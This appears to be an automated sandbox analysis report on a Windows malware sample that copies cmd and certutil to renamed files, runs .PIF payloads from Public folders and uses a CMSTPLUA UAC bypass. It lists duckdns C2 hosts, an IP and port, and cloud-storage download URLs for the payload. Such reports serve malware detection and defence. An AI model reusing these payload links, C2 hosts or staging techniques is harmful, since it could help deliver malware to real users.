Source: sppsvc.pif, 00000009.00000002.4117523372.00000000152FB000.00000040.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_d7eb0ca4-2

Exploits
barindex
Yara detected UAC Bypass using CMSTP
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 24.2.Mywiztwu.PIF.14550000.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000018.00000002.1995878504.000000007E810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000002.1961939328.0000000014550000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Mywiztwu.PIF PID: 6548, type: MEMORYSTR

Privilege Escalation
barindex
Contains functionality to bypass UAC (CMSTPLUA)
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_145574FD _wcslen,CoGetObject, 24_2_145574FD
Source: unknown HTTPS traffic detected: 74.112.186.144:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown HTTPS traffic detected: 74.112.186.144:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown HTTPS traffic detected: 74.112.186.128:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.101.102:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown HTTPS traffic detected: 142.250.101.132:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: sppsvc.pif, 00000009.00000003.1813378513.000000007FBF0000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: easinvoker.pdb source: sppsvc.pif, 00000009.00000002.4113851046.0000000013AF5000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, easinvoker.exe.9.dr
Source: Binary string: cmd.pdbUGP source: alpha.exe, 00000003.00000002.1647471611.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000000.1644562863.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1647785940.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1653434339.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1660935260.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1654132001.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1662066219.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1663916561.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1664317831.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1665714622.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
Source: Binary string: certutil.pdb source: kn.exe, 00000006.00000000.1648239065.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1652106938.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1660326356.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1654699931.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr
Source: Binary string: easinvoker.pdbH source: sppsvc.pif, 00000009.00000002.4113851046.0000000013AF5000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.2526694806.000000001483E000.00000004.00000020.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000002.4113851046.0000000013B55000.00000004.00001000.00020000.00000000.sdmp, sppsvc.pif, 00000009.00000003.1813038389.000000007E8C0000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1951246492.000000000256F000.00000004.00001000.00020000.00000000.sdmp, Mywiztwu.PIF, 00000018.00000002.1997696296.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, easinvoker.exe.9.dr
Source: Binary string: cmd.pdb source: alpha.exe, 00000003.00000002.1647471611.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000003.00000000.1644562863.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000000.1647785940.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000005.00000002.1653434339.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000002.1660935260.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 00000007.00000000.1654132001.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000000.1662066219.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000A.00000002.1663916561.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000000.1664317831.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe, 0000000B.00000002.1665714622.00007FF683FA2000.00000002.00000001.01000000.00000004.sdmp, alpha.exe.2.dr
Source: Binary string: certutil.pdbGCTL source: kn.exe, 00000006.00000000.1648239065.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000006.00000002.1652106938.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000002.1660326356.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe, 00000008.00000000.1654699931.00007FF66599E000.00000002.00000001.01000000.00000005.sdmp, kn.exe.4.dr
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove, 3_2_00007FF683F82978
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose, 3_2_00007FF683F8823C
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 3_2_00007FF683F71560
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose, 3_2_00007FF683F735B8
Source: C:\Users\Public\alpha.exe Code function: 3_2_00007FF683F97B4C FindFirstFileW,FindNextFileW,FindClose, 3_2_00007FF683F97B4C
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove, 5_2_00007FF683F82978
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose, 5_2_00007FF683F8823C
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 5_2_00007FF683F71560
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose, 5_2_00007FF683F735B8
Source: C:\Users\Public\alpha.exe Code function: 5_2_00007FF683F97B4C FindFirstFileW,FindNextFileW,FindClose, 5_2_00007FF683F97B4C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658FC6F8 memset,qsort,#357,FindFirstFileW,GetLastError,bsearch,LocalAlloc,LocalReAlloc,LocalAlloc,FindNextFileW,GetLastError,DeleteFileW,GetLastError,#359,#357,FindClose,LocalFree,LocalFree, 6_2_00007FF6658FC6F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66596234C wcschr,#357,#357,#359,FindFirstFileW,wcsrchr,_wcsnicmp,iswxdigit,wcstoul,FindNextFileW,#359,#359,#357,#357,LocalFree,LocalFree,FindClose, 6_2_00007FF66596234C
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659610C4 #357,FindFirstFileW,LocalFree,FindNextFileW,FindClose,LocalFree,#357, 6_2_00007FF6659610C4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665963100 #357,FindFirstFileW,#359,FindNextFileW,FindClose,LocalFree,#357, 6_2_00007FF665963100
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665966F80 #359,FindFirstFileW,FindNextFileW,FindClose,LocalAlloc,#357, 6_2_00007FF665966F80
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665943674 #357,LocalAlloc,#357,wcsrchr,FindFirstFileW,GetLastError,#359,lstrcmpW,lstrcmpW,#359,RemoveDirectoryW,GetLastError,#359,#359,FindNextFileW,FindClose,LocalFree,LocalFree,DeleteFileW,GetLastError,#359, 6_2_00007FF665943674
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6658CD440 GetFileAttributesW,#357,#357,#357,FindFirstFileW,LocalFree,#357,FindNextFileW,#357,LocalFree,FindClose,LocalFree,LocalFree,LocalFree,LocalFree, 6_2_00007FF6658CD440
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590D4A4 CreateSemaphoreW,GetLastError,CreateEventW,GetLastError,GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,CloseHandle,CloseHandle, 6_2_00007FF66590D4A4
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590B3D8 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose,I_CryptCreateLruCache,GetLastError,I_CryptCreateLruCache,GetLastError,#357, 6_2_00007FF66590B3D8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665905E58 GetLastError,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,GetLastError,#357,FindClose, 6_2_00007FF665905E58
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF665961B04 FindFirstFileW,GetLastError,#357,#359,DeleteFileW,FindNextFileW,FindClose,#359, 6_2_00007FF665961B04
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF6659619F8 #359,FindFirstFileW,FindNextFileW,FindClose, 6_2_00007FF6659619F8
Source: C:\Users\Public\kn.exe Code function: 6_2_00007FF66590DBC0 FindFirstFileW,GetLastError,CertOpenStore,CertAddStoreToCollection,CertCloseStore,FindNextFileW,GetLastError,GetLastError,#357,GetLastError,GetLastError,#357,LocalFree,CertCloseStore,CertCloseStore,FindClose, 6_2_00007FF66590DBC0
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 9_2_1529BD37
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_15299665 FindFirstFileW,FindNextFileW,FindClose,FindClose, 9_2_15299665
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529783C FindFirstFileW,FindNextFileW, 9_2_1529783C
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529880C FindFirstFileW,FindNextFileW,FindClose, 9_2_1529880C
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 9_2_1529BB30
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_1529C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 9_2_1529C34D
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152AC291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 9_2_152AC291
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152A9AF5 FindFirstFileW, 9_2_152A9AF5
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove, 10_2_00007FF683F82978
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose, 10_2_00007FF683F8823C
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 10_2_00007FF683F71560
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose, 10_2_00007FF683F735B8
Source: C:\Users\Public\alpha.exe Code function: 10_2_00007FF683F97B4C FindFirstFileW,FindNextFileW,FindClose, 10_2_00007FF683F97B4C
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F82978 FindFirstFileW,FindClose,memmove,_wcsnicmp,_wcsicmp,memmove, 11_2_00007FF683F82978
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F8823C FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,FindNextFileW,GetProcessHeap,HeapReAlloc,FindClose,GetLastError,FindClose, 11_2_00007FF683F8823C
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F71560 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPEAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 11_2_00007FF683F71560
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F735B8 GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPEAX@Z,FindNextFileW,SetLastError,??_V@YAXPEAX@Z,GetLastError,FindClose, 11_2_00007FF683F735B8
Source: C:\Users\Public\alpha.exe Code function: 11_2_00007FF683F97B4C FindFirstFileW,FindNextFileW,FindClose, 11_2_00007FF683F97B4C
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14559665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose, 24_2_14559665
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14559253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose, 24_2_14559253
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1456C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose, 24_2_1456C291
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose, 24_2_1455C34D
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose, 24_2_1455BD37
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose, 24_2_1455880C
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455783C FindFirstFileW,FindNextFileW, 24_2_1455783C
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14569AF5 FindFirstFileW,FindNextFileW,FindNextFileW, 24_2_14569AF5
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_1455BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose, 24_2_1455BB30
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_02A558CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 24_2_02A558CC
Source: C:\Users\Public\Libraries\Mywiztwu.PIF Code function: 24_2_14557C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW, 24_2_14557C97

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 37.duckdns.org
Uses dynamic DNS services
Source: unknown DNS query: name: embargogo237.duckdns.org
Contains functionality to check if a connection to the internet is available
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_0284C8AC InternetCheckConnectionA, 9_2_0284C8AC
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.4:49742 -> 45.74.19.121:10521
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 13.107.139.11 13.107.139.11
Source: Joe Sandbox View IP Address: 74.112.186.144 74.112.186.144
Source: Joe Sandbox View IP Address: 45.74.19.121 45.74.19.121
Source: Joe Sandbox View IP Address: 178.237.33.50 178.237.33.50
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: HVC-ASUS HVC-ASUS
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /shared/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: elmauz.box.com
Source: global traffic HTTP traffic detected: GET /public/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: elmauz.box.com
Source: global traffic HTTP traffic detected: GET /public/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: elmauz.app.box.com
Source: global traffic HTTP traffic detected: GET /d/1/b1!XLo_Q0QmFWpqIy6-EXFQ9uv0OB_40zrbGjai9TcdxDKZbJbN56Wp7ifaYdZk88KhAWL73bNdMz9KaCrVvwKX0Su4zvaj7mW1FHJqJjxl3sfcF-bc1OmTF8kpZrS84e8a2C27k35yKaDpJp8vR8Uw6I00iViogD5h6EyILqfYd3FDItd43Oq97WjEvH6tiSTY6vmIREZJGxMxZeR655cof5hJ0JFbyuYCiKq1wRr6_fh3MkyXz6OTytLSUByoutEcQlpQxuXHlbV_8lquwjsfLn5YWMXnweyypB2YObL8ienhqGPcvOJCzFyxpoiAmwUj27ZUiyd36Zd4P3CRvHX6jQnRv5iN9GiTaSLSJPO-4u3-VB_8pZLFnTekxWXMSCL5lENOLhaegjQiJeVsGX7PM3jX1hKaH7e2kGCVqqHSLLX6H0ZayPi9GWBgWqbQp3pBu9jGZWHL4UHp2l6c_jkqMKAllFMM3Iv_dBkoNpOikeMk2Jg1XlufJ9aC4fsnjX6EqhHPkjkhiuCmSy8c434KrZiql8EG73hEu8YAbkeiFMIuEi65NeBnlQrm82ujfsBdWWQ2eFpiys1O5ZdmToudadswXQ2TbuM2ilvmsZOGXUf3NStV6obnKx1fPIzoj8ReXUyBb0ime0ItITmPbPnzialTI8LPoiHbIQ5aNaebRT8jMXMJlVSVmFOFBkK-33bgu-XiYmvt_Q920H6uFFohmX-fHn2C6iRLtBg_79TGIakTq4kaO_eY56e0s3xhFykDz9DiFRvDMu9Maxc8hLkzJl3KLV7d1brBO_ssrAr_kC_94aq6OXsNyp_2UEt0923KvZRqQD8efN0mgQF40ml0kle0vzgDSZoqOp1JFPY33T3Bb848hiqNlVhoSPFwYZgiYoPa_jQ7k3Oos1pfcJ3IDZFUG6ELh1ErPGZaUK0N2nqWnDqJPX9SnAXOmZE3g8TziaTtC-RGoFsPyMCdEBuCPaeWb7wcLWAdrU9AWiIY_ARHtKhQ4BjUixP9PJtlIoE4YpqzY5xpR3Hr8QoLV_vNLjHDJEoR4dj4njGdTgQlQx25va1TsBMyxmmPeaatyMaAtjo-e2PW0eo_Bj234qVnjRvrw1xilOMIN3SgT3NZJCZoFTLVEVy61i6q51hM7Dp_Qzz43uXSbWHULy1UeDIuHOzp5_zPIZgXIOiaXnhhyeJgJznw1KjcVTxqvuP5HEjGXE1U6l7guuTRUpaQZGdYaUKP3Vw4t_joSJYXGuc-2Cc9mea3nAhiG5mOq6PKd1K0_B3sbZESPTVNPpjTcjlh5WQN2BHQpHmhXJe8TxusY5zdpltOYK_BC8ChwrAUvjX3OlSq8ZumPjHGUqSW95I2ZcHYII5pPuoHPKadfCsJ-ks9FOOcFifEVclt/download HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: public.boxcloud.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1ZA0hVLfDKlM-5smXwBfb4RnNU-YQkBa6 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: drive.google.com
Source: global traffic HTTP traffic detected: GET /download?id=1ZA0hVLfDKlM-5smXwBfb4RnNU-YQkBa6&export=download HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: drive.usercontent.google.com
Source: global traffic HTTP traffic detected: GET /download?resid=BAF30C9243AC3050%21114&authkey=!ACfGQrCE2jZmaGY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: C:\Users\Public\Libraries\sppsvc.pif Code function: 9_2_152B6CB1 recv, 9_2_152B6CB1
Source: global traffic HTTP traffic detected: GET /shared/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: elmauz.box.com
Source: global traffic HTTP traffic detected: GET /public/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: elmauz.box.com
Source: global traffic HTTP traffic detected: GET /public/static/gqtnnv55lt0beo9fdcpu8fhnomsn4frv HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: elmauz.app.box.com
Source: global traffic HTTP traffic detected: GET /d/1/b1!XLo_Q0QmFWpqIy6-EXFQ9uv0OB_40zrbGjai9TcdxDKZbJbN56Wp7ifaYdZk88KhAWL73bNdMz9KaCrVvwKX0Su4zvaj7mW1FHJqJjxl3sfcF-bc1OmTF8kpZrS84e8a2C27k35yKaDpJp8vR8Uw6I00iViogD5h6EyILqfYd3FDItd43Oq97WjEvH6tiSTY6vmIREZJGxMxZeR655cof5hJ0JFbyuYCiKq1wRr6_fh3MkyXz6OTytLSUByoutEcQlpQxuXHlbV_8lquwjsfLn5YWMXnweyypB2YObL8ienhqGPcvOJCzFyxpoiAmwUj27ZUiyd36Zd4P3CRvHX6jQnRv5iN9GiTaSLSJPO-4u3-VB_8pZLFnTekxWXMSCL5lENOLhaegjQiJeVsGX7PM3jX1hKaH7e2kGCVqqHSLLX6H0ZayPi9GWBgWqbQp3pBu9jGZWHL4UHp2l6c_jkqMKAllFMM3Iv_dBkoNpOikeMk2Jg1XlufJ9aC4fsnjX6EqhHPkjkhiuCmSy8c434KrZiql8EG73hEu8YAbkeiFMIuEi65NeBnlQrm82ujfsBdWWQ2eFpiys1O5ZdmToudadswXQ2TbuM2ilvmsZOGXUf3NStV6obnKx1fPIzoj8ReXUyBb0ime0ItITmPbPnzialTI8LPoiHbIQ5aNaebRT8jMXMJlVSVmFOFBkK-33bgu-XiYmvt_Q920H6uFFohmX-fHn2C6iRLtBg_79TGIakTq4kaO_eY56e0s3xhFykDz9DiFRvDMu9Maxc8hLkzJl3KLV7d1brBO_ssrAr_kC_94aq6OXsNyp_2UEt0923KvZRqQD8efN0mgQF40ml0kle0vzgDSZoqOp1JFPY33T3Bb848hiqNlVhoSPFwYZgiYoPa_jQ7k3Oos1pfcJ3IDZFUG6ELh1ErPGZaUK0N2nqWnDqJPX9SnAXOmZE3g8TziaTtC-RGoFsPyMCdEBuCPaeWb7wcLWAdrU9AWiIY_ARHtKhQ4BjUixP9PJtlIoE4YpqzY5xpR3Hr8QoLV_vNLjHDJEoR4dj4njGdTgQlQx25va1TsBMyxmmPeaatyMaAtjo-e2PW0eo_Bj234qVnjRvrw1xilOMIN3SgT3NZJCZoFTLVEVy61i6q51hM7Dp_Qzz43uXSbWHULy1UeDIuHOzp5_zPIZgXIOiaXnhhyeJgJznw1KjcVTxqvuP5HEjGXE1U6l7guuTRUpaQZGdYaUKP3Vw4t_joSJYXGuc-2Cc9mea3nAhiG5mOq6PKd1K0_B3sbZESPTVNPpjTcjlh5WQN2BHQpHmhXJe8TxusY5zdpltOYK_BC8ChwrAUvjX3OlSq8ZumPjHGUqSW95I2ZcHYII5pPuoHPKadfCsJ-ks9FOOcFifEVclt/download HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: public.boxcloud.com
Source: global traffic HTTP traffic detected: GET /uc?export=download&id=1ZA0hVLfDKlM-5smXwBfb4RnNU-YQkBa6 HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: drive.google.com
Source: global traffic HTTP traffic detected: GET /download?id=1ZA0hVLfDKlM-5smXwBfb4RnNU-YQkBa6&export=download HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: drive.usercontent.google.com
Source: global traffic HTTP traffic detected: GET /download?resid=BAF30C9243AC3050%21114&authkey=!ACfGQrCE2jZmaGY HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com
Source: global traffic HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
